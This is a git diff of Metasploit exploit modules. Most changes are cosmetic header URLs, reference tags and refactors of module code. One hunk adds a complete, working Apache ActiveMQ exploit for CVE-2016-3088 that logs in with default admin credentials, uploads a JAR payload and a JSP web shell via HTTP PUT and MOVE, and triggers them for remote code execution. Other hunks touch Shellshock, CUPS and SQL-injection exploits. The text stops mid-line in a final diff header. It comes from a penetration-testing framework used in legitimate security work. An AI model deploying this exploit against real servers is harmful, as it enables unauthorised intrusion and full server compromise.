ExcellentRanking diff --git a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb index dde1cfccf0..6201281661 100644 --- a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb +++ b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -209,5 +209,4 @@ c.main(null); return res end - end diff --git a/modules/exploits/multi/elasticsearch/search_groovy_script.rb b/modules/exploits/multi/elasticsearch/search_groovy_script.rb index 03a1fcfd78..c24b9cfd9c 100644 --- a/modules/exploits/multi/elasticsearch/search_groovy_script.rb +++ b/modules/exploits/multi/elasticsearch/search_groovy_script.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -197,5 +197,4 @@ class MetasploitModule < Msf::Exploit::Remote res end - end diff --git a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb index b58b85e9a2..00e19872b6 100644 --- a/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb +++ b/modules/exploits/multi/fileformat/adobe_u3d_meshcont.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -511,5 +511,4 @@ EOF pdf << "%%EOF" << eol end - end diff --git a/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb b/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb index 7deb6c1091..c542c525a0 100644 --- a/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb +++ b/modules/exploits/multi/fileformat/js_unpacker_eval_injection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -42,5 +42,4 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Creating '#{datastore['FILENAME']}' file...") file_create("eval(function(p,a,c,k,e,r){}((function(){ #{p} })(),''.split('|'),0,{}))") end - end diff --git a/modules/exploits/multi/fileformat/maple_maplet.rb b/modules/exploits/multi/fileformat/maple_maplet.rb index c49b2839e2..957bf20580 100644 --- a/modules/exploits/multi/fileformat/maple_maplet.rb +++ b/modules/exploits/multi/fileformat/maple_maplet.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -145,5 +145,4 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Creating '#{datastore['FILENAME']}' file...") file_create(content) end - end diff --git a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb index 54886a28e5..2396bea5f1 100644 --- a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb +++ b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/fileformat/office_word_macro.rb b/modules/exploits/multi/fileformat/office_word_macro.rb index 9e73b887f0..a03b73baa0 100644 --- a/modules/exploits/multi/fileformat/office_word_macro.rb +++ b/modules/exploits/multi/fileformat/office_word_macro.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -283,5 +283,4 @@ class MetasploitModule < Msf::Exploit::Remote docm = pack_docm file_create(docm) end - end diff --git a/modules/exploits/multi/fileformat/peazip_command_injection.rb b/modules/exploits/multi/fileformat/peazip_command_injection.rb index 0f3d042522..675d2186dd 100644 --- a/modules/exploits/multi/fileformat/peazip_command_injection.rb +++ b/modules/exploits/multi/fileformat/peazip_command_injection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -84,5 +84,4 @@ class MetasploitModule < Msf::Exploit::Remote file_create(zip.pack) end - end diff --git a/modules/exploits/multi/fileformat/swagger_param_inject.rb b/modules/exploits/multi/fileformat/swagger_param_inject.rb index e7626102ee..2caa9da10b 100644 --- a/modules/exploits/multi/fileformat/swagger_param_inject.rb +++ b/modules/exploits/multi/fileformat/swagger_param_inject.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,6 @@ require 'base64' # class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT @@ -22,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Remote super(update_info(info, 'Name' => 'JSON Swagger CodeGen Parameter Injector', 'Description' => %q{ - This module generates a Open API Specification 2.0 (Swagger) compliant + This module generates an Open API Specification 2.0 (Swagger) compliant json document that includes payload insertion points in parameters. In order for the payload to be executed, an attacker must convince diff --git a/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb index 306ea623dd..f9a04af685 100644 --- a/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb +++ b/modules/exploits/multi/ftp/pureftpd_bash_env_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -27,12 +27,13 @@ class MetasploitModule < Msf::Exploit::Remote ], 'References' => [ - ['CVE', '2014-6271'], - ['CWE', '94'], - ['OSVDB', '112004'], - ['EDB', '34765'], - ['URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc'], - ['URL', 'http://download.pureftpd.org/pub/pure-ftpd/doc/README.Authentication-Modules'] + [ 'AKA', 'Shellshock' ], + [ 'CVE', '2014-6271' ], + [ 'CWE', '94' ], + [ 'OSVDB', '112004' ], + [ 'EDB', '34765' ], + [ 'URL', 'https://gist.github.com/jedisct1/88c62ee34e6fa92c31dc' ], + [ 'URL', 'http://download.pureftpd.org/pub/pure-ftpd/doc/README.Authentication-Modules' ] ], 'Payload' => { diff --git a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb index e418e93cc2..ad4726593b 100644 --- a/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb +++ b/modules/exploits/multi/ftp/wuftpd_site_exec_format.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/gdb/gdb_server_exec.rb b/modules/exploits/multi/gdb/gdb_server_exec.rb index 4c647fb5d4..1ddcf35017 100644 --- a/modules/exploits/multi/gdb/gdb_server_exec.rb +++ b/modules/exploits/multi/gdb/gdb_server_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -74,5 +74,4 @@ class MetasploitModule < Msf::Exploit::Remote handler disconnect end - end diff --git a/modules/exploits/multi/handler.rb b/modules/exploits/multi/handler.rb index 096ab2e7cb..0d528c7a77 100644 --- a/modules/exploits/multi/handler.rb +++ b/modules/exploits/multi/handler.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,49 +12,53 @@ class MetasploitModule < Msf::Exploit::Remote # def initialize(info = {}) - super(update_info(info, - 'Name' => 'Generic Payload Handler', - 'Description' => %q{ - This module is a stub that provides all of the - features of the Metasploit payload system to exploits - that have been launched outside of the framework. - }, - 'License' => MSF_LICENSE, - 'Author' => ['hdm'], - 'References' => [ ], - 'Payload' => - { - 'Space' => 10000000, - 'BadChars' => '', - 'DisableNops' => true, - }, - 'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi }, - 'Arch' => ARCH_ALL, - 'Targets' => [ [ 'Wildcard Target', { } ] ], - 'DefaultTarget' => 0 - )) + super( + update_info( + info, + 'Name' => 'Generic Payload Handler', + 'Description' => %q( + This module is a stub that provides all of the + features of the Metasploit payload system to exploits + that have been launched outside of the framework. + ), + 'License' => MSF_LICENSE, + 'Author' => [ 'hdm', 'bcook-r7' ], + 'References' => [ ], + 'Payload' => + { + 'Space' => 10000000, + 'BadChars' => '', + 'DisableNops' => true + }, + 'Platform' => %w[android bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi], + 'Arch' => ARCH_ALL, + 'Targets' => [ [ 'Wildcard Target', {} ] ], + 'DefaultTarget' => 0, + 'Stance' => Msf::Exploit::Stance::Passive + ) + ) register_advanced_options( [ - OptBool.new("ExitOnSession", [ false, "Return from the exploit after a session has been created", true ]), - OptInt.new("ListenerTimeout", [ false, "The maximum number of seconds to wait for new sessions", 0]) - ]) + OptBool.new( + "ExitOnSession", + [ true, "Return from the exploit after a session has been created", false ] + ), + OptInt.new( + "ListenerTimeout", + [ false, "The maximum number of seconds to wait for new sessions", 0 ] + ) + ] + ) end def exploit - if not datastore['ExitOnSession'] and not job_id - fail_with(Failure::Unknown, "Setting ExitOnSession to false requires running as a job (exploit -j)") - end - stime = Time.now.to_f - print_status "Starting the payload handler..." - while(true) - break if session_created? and datastore['ExitOnSession'] - break if ( datastore['ListenerTimeout'].to_i > 0 and (stime + datastore['ListenerTimeout'].to_i < Time.now.to_f) ) - - select(nil,nil,nil,1) + timeout = datastore['ListenerTimeout'].to_i + loop do + break if session_created? && datastore['ExitOnSession'] + break if timeout > 0 && (stime + timeout < Time.now.to_f) + sleep(1) end end - - end diff --git a/modules/exploits/multi/http/activecollab_chat.rb b/modules/exploits/multi/http/activecollab_chat.rb index e265832430..f3eff5ea1c 100644 --- a/modules/exploits/multi/http/activecollab_chat.rb +++ b/modules/exploits/multi/http/activecollab_chat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb index eef47e72e9..b2aadc32b5 100644 --- a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb +++ b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -99,7 +99,6 @@ class MetasploitModule < Msf::Exploit::Remote end end end - end =begin diff --git a/modules/exploits/multi/http/apache_activemq_upload_jsp.rb b/modules/exploits/multi/http/apache_activemq_upload_jsp.rb new file mode 100644 index 0000000000..6290f1afdd --- /dev/null +++ b/modules/exploits/multi/http/apache_activemq_upload_jsp.rb @@ -0,0 +1,141 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ActiveMQ web shell upload', + 'Description' => %q( + The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 + allows remote attackers to upload and execute arbitrary files via an + HTTP PUT followed by an HTTP MOVE request. + ), + 'Author' => [ 'Ian Anderson ', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2016-3088' ], + [ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ] + ], + 'Privileged' => true, + 'Platform' => %w{ java linux win }, + 'Targets' => + [ + [ 'Java Universal', + { + 'Platform' => 'java', + 'Arch' => ARCH_JAVA + } + ], + [ 'Linux', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ], + [ 'Windows', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ] + ], + 'DisclosureDate' => "Jun 01 2016", + 'DefaultTarget' => 0)) + register_options( + [ + OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]), + OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]), + OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]), + OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]), + Opt::RPORT(8161) + ]) + register_advanced_options( + [ + OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil]) + ]) + end + + def jsp_text(payload_name) + %{ + <%@ page import="java.io.*" + %><%@ page import="java.net.*" + %><% + URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()}); + Class c = cl.loadClass("metasploit.Payload"); + c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]}); + %>} + end + + def exploit + jar_payload = payload.encoded_jar.pack + payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8)) + host = "#{datastore['RHOST']}:#{datastore['RPORT']}" + @url = datastore['SSL'] ? "https://#{host}" : "http://#{host}" + paths = get_upload_paths + paths.each do |path| + if try_upload(path, jar_payload, payload_name) + break handler if trigger_payload(payload_name) + print_error('Unable to trigger payload') + end + end + end + + def try_upload(path, jar_payload, payload_name) + ['.jar', '.jsp'].each do |ext| + file_name = payload_name + ext + data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload + move_headers = { 'Destination' => "#{@url}#{path}#{file_name}" } + upload_uri = normalize_uri('fileserver', file_name) + print_status("Uploading #{move_headers['Destination']}") + register_files_for_cleanup "#{path}#{file_name}" if datastore['AutoCleanup'].casecmp('true') + return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) && + send_request('MOVE', upload_uri, 204, 'headers' => move_headers) + @trigger_resource = /webapps(.*)/.match(path)[1] + end + true + end + + def get_upload_paths + base_path = "#{get_install_path}/webapps" + custom_path = datastore['UploadPath'] + return [normalize_uri(base_path, custom_path)] unless custom_path.nil? + [ "#{base_path}/api/", "#{base_path}/admin/" ] + end + + def get_install_path + properties_page = send_request('GET', "#{@url}/admin/test/systemProperties.jsp").body + match = properties_page.tr("\n", '@').match(/activemq\.home<\/td>@\s*([^@]+)<\/td>/) + return match[1] unless match.nil? + end + + def send_request(method, uri, expected_response = 200, opts = {}) + opts['headers'] ||= {} + opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass']) + opts['headers']['Connection'] = 'close' + r = send_request_cgi( + { + 'method' => method, + 'uri' => uri + }.merge(opts) + ) + return false if r.nil? || expected_response != r.code.to_i + r + end + + def trigger_payload(payload_name) + send_request('POST', @url + @trigger_resource + payload_name + '.jsp') + end + + def error_out + print_error('Upload failed') + @trigger_resource = nil + false + end +end diff --git a/modules/exploits/multi/http/apache_jetspeed_file_upload.rb b/modules/exploits/multi/http/apache_jetspeed_file_upload.rb index 675af28bee..d9d993aaa8 100644 --- a/modules/exploits/multi/http/apache_jetspeed_file_upload.rb +++ b/modules/exploits/multi/http/apache_jetspeed_file_upload.rb @@ -1,10 +1,9 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote - Rank = ManualRanking include Msf::Exploit::Remote::HttpClient @@ -222,5 +221,4 @@ class MetasploitModule < Msf::Exploit::Remote def zip_filename @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip' end - end diff --git a/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb index 3da45195bd..8c78506a35 100644 --- a/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb +++ b/modules/exploits/multi/http/apache_mod_cgi_bash_env_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -25,13 +25,14 @@ class MetasploitModule < Msf::Exploit::Remote 'lcamtuf' # CVE-2014-6278 ], 'References' => [ - ['CVE', '2014-6271'], - ['CVE', '2014-6278'], - ['CWE', '94'], - ['OSVDB', '112004'], - ['EDB', '34765'], - ['URL', 'https://access.redhat.com/articles/1200223'], - ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] + [ 'AKA', 'Shellshock' ], + [ 'CVE', '2014-6271' ], + [ 'CVE', '2014-6278' ], + [ 'CWE', '94' ], + [ 'OSVDB', '112004' ], + [ 'EDB', '34765' ], + [ 'URL', 'https://access.redhat.com/articles/1200223' ], + [ 'URL', 'http://seclists.org/oss-sec/2014/q3/649' ] ], 'Payload' => { diff --git a/modules/exploits/multi/http/apache_roller_ognl_injection.rb b/modules/exploits/multi/http/apache_roller_ognl_injection.rb index 28b7f871a2..fda00f6181 100644 --- a/modules/exploits/multi/http/apache_roller_ognl_injection.rb +++ b/modules/exploits/multi/http/apache_roller_ognl_injection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -131,5 +131,4 @@ class MetasploitModule < Msf::Exploit::Remote return Exploit::CheckCode::Safe end - end diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb index fe9fdb50b1..a46c25aef4 100644 --- a/modules/exploits/multi/http/apprain_upload_exec.rb +++ b/modules/exploits/multi/http/apprain_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/atutor_sqli.rb b/modules/exploits/multi/http/atutor_sqli.rb index c8140cce3d..b0787a211c 100644 --- a/modules/exploits/multi/http/atutor_sqli.rb +++ b/modules/exploits/multi/http/atutor_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -136,7 +136,7 @@ class MetasploitModule < Msf::Exploit::Remote cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/ if res && res.code == 302 && res.redirection.to_s.include?('admin/index.php') # if we made it here, we are admin - report_cred(user: username, password: hash) + store_valid_credential(user: username, private: hash, private_type: :nonreplayable_hash) return cookie end # auth failed if we land here, bail @@ -227,32 +227,8 @@ class MetasploitModule < Msf::Exploit::Remote return false end - def report_cred(opts) - service_data = { - address: rhost, - port: rport, - service_name: ssl ? 'https' : 'http', - protocol: 'tcp', - workspace_id: myworkspace_id - } - - credential_data = { - module_fullname: fullname, - post_reference_name: self.refname, - private_data: opts[:password], - origin_type: :service, - private_type: :nonreplayable_hash, - jtr_format: 'sha512', - username: opts[:user] - }.merge(service_data) - - login_data = { - core: create_credential(credential_data), - status: Metasploit::Model::Login::Status::SUCCESSFUL, - last_attempted_at: Time.now - }.merge(service_data) - - create_credential_login(login_data) + def service_details + super.merge({ post_reference_name: self.refname, jtr_format: 'sha512' }) end def exploit diff --git a/modules/exploits/multi/http/auxilium_upload_exec.rb b/modules/exploits/multi/http/auxilium_upload_exec.rb index f1d9883890..8a7c06c1a4 100644 --- a/modules/exploits/multi/http/auxilium_upload_exec.rb +++ b/modules/exploits/multi/http/auxilium_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index 3ee82f4e34..5f732d1340 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -127,7 +127,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 25) if (res and res.code == 200) - print_status("Successfully uploaded") + print_good("Successfully uploaded") else print_error("Error uploading #{res}") return @@ -322,5 +322,4 @@ class MetasploitModule < Msf::Exploit::Remote print_error("http://#{rhost}:#{rport}#{rpath}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'") end end - end diff --git a/modules/exploits/multi/http/bassmaster_js_injection.rb b/modules/exploits/multi/http/bassmaster_js_injection.rb index c94b7bd47f..0c472f54ee 100644 --- a/modules/exploits/multi/http/bassmaster_js_injection.rb +++ b/modules/exploits/multi/http/bassmaster_js_injection.rb @@ -1,3 +1,8 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/multi/http/bolt_file_upload.rb b/modules/exploits/multi/http/bolt_file_upload.rb index ac19b27a09..1b22d2a3d6 100644 --- a/modules/exploits/multi/http/bolt_file_upload.rb +++ b/modules/exploits/multi/http/bolt_file_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://www.metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/builderengine_upload_exec.rb b/modules/exploits/multi/http/builderengine_upload_exec.rb index e0e03919ba..c1f4e1b9ac 100644 --- a/modules/exploits/multi/http/builderengine_upload_exec.rb +++ b/modules/exploits/multi/http/builderengine_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb index befe87eac8..982e52156c 100644 --- a/modules/exploits/multi/http/caidao_php_backdoor_exec.rb +++ b/modules/exploits/multi/http/caidao_php_backdoor_exec.rb @@ -1,6 +1,5 @@ - ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/cisco_dcnm_upload.rb b/modules/exploits/multi/http/cisco_dcnm_upload.rb index e1b08b44d9..f6f4fbfb3a 100644 --- a/modules/exploits/multi/http/cisco_dcnm_upload.rb +++ b/modules/exploits/multi/http/cisco_dcnm_upload.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -147,5 +147,4 @@ class MetasploitModule < Msf::Exploit::Remote break if res.code == 200 end end - end diff --git a/modules/exploits/multi/http/coldfusion_rds.rb b/modules/exploits/multi/http/coldfusion_rds.rb index dd5bf24dad..9d07946db8 100644 --- a/modules/exploits/multi/http/coldfusion_rds.rb +++ b/modules/exploits/multi/http/coldfusion_rds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/cups_bash_env_exec.rb b/modules/exploits/multi/http/cups_bash_env_exec.rb index 6757aa052f..a9c65e037f 100644 --- a/modules/exploits/multi/http/cups_bash_env_exec.rb +++ b/modules/exploits/multi/http/cups_bash_env_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -22,13 +22,14 @@ class MetasploitModule < Msf::Exploit::Remote 'Brendan Coles ' # msf ], 'References' => [ - ['CVE', '2014-6271'], - ['CVE', '2014-6278'], - ['CWE', '94'], - ['OSVDB', '112004'], - ['EDB', '34765'], - ['URL', 'https://access.redhat.com/articles/1200223'], - ['URL', 'http://seclists.org/oss-sec/2014/q3/649'] + [ 'AKA', 'Shellshock' ], + [ 'CVE', '2014-6271' ], + [ 'CVE', '2014-6278' ], + [ 'CWE', '94' ], + [ 'OSVDB', '112004' ], + [ 'EDB', '34765' ], + [ 'URL', 'https://access.redhat.com/articles/1200223' ], + [ 'URL', 'http://seclists.org/oss-sec/2014/q3/649' ] ], 'Privileged' => false, 'Arch' => ARCH_CMD, @@ -124,11 +125,11 @@ class MetasploitModule < Msf::Exploit::Remote # with a CUPS filter pointing to /bin/bash res = add_printer(printer_name, cmd) if !res - fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed.") + fail_with(Failure::Unreachable, "#{peer} - Could not add printer - Connection failed") elsif res.body =~ /Set Default Options for #{printer_name}/ print_good("Added printer successfully") elsif res.code == 401 || (res.code == 426 && datastore['SSL']) - fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.") + fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed") elsif res.code == 426 fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.") else @@ -140,11 +141,11 @@ class MetasploitModule < Msf::Exploit::Remote # which executes the payload in the environment variables. res = print_test_page(printer_name) if !res - fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.") + fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed") elsif res.body =~ /Test page sent; job ID is/ vprint_good("Added test page to printer queue") elsif res.code == 401 || (res.code == 426 && datastore['SSL']) - fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.") + fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed") elsif res.code == 426 fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.") else @@ -154,11 +155,11 @@ class MetasploitModule < Msf::Exploit::Remote # Delete the printer res = delete_printer(printer_name) if !res - fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.") + fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed") elsif res.body =~ /has been deleted successfully/ - print_status("Deleted printer '#{printer_name}' successfully") + print_good("Deleted printer '#{printer_name}' successfully") elsif res.code == 401 || (res.code == 426 && datastore['SSL']) - vprint_warning("Could not delete printer '#{printer_name}' - Authentication failed.") + vprint_warning("Could not delete printer '#{printer_name}' - Authentication failed") elsif res.code == 426 vprint_warning("Could not delete printer '#{printer_name}' - SSL required - set SSL true.") else @@ -270,5 +271,4 @@ EOF } ) end - end diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index fc5c38b6dc..d4281285fb 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/dexter_casinoloader_exec.rb b/modules/exploits/multi/http/dexter_casinoloader_exec.rb index 98250dcde0..998beed9c8 100644 --- a/modules/exploits/multi/http/dexter_casinoloader_exec.rb +++ b/modules/exploits/multi/http/dexter_casinoloader_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -133,7 +133,7 @@ class MetasploitModule < Msf::Exploit::Remote if res and res.headers.has_key?('Location') login_cookie = res.get_cookies - print_status("Login successful") + print_good("Login Successful") else print_error("Failed to log in") return diff --git a/modules/exploits/multi/http/drupal_drupageddon.rb b/modules/exploits/multi/http/drupal_drupageddon.rb index 1a8f2a3ef0..f88f2cd788 100644 --- a/modules/exploits/multi/http/drupal_drupageddon.rb +++ b/modules/exploits/multi/http/drupal_drupageddon.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/eaton_nsm_code_exec.rb b/modules/exploits/multi/http/eaton_nsm_code_exec.rb index 32c5a5364c..3e9180893a 100644 --- a/modules/exploits/multi/http/eaton_nsm_code_exec.rb +++ b/modules/exploits/multi/http/eaton_nsm_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/eventlog_file_upload.rb b/modules/exploits/multi/http/eventlog_file_upload.rb index 8f869ef02b..628cdabe5c 100644 --- a/modules/exploits/multi/http/eventlog_file_upload.rb +++ 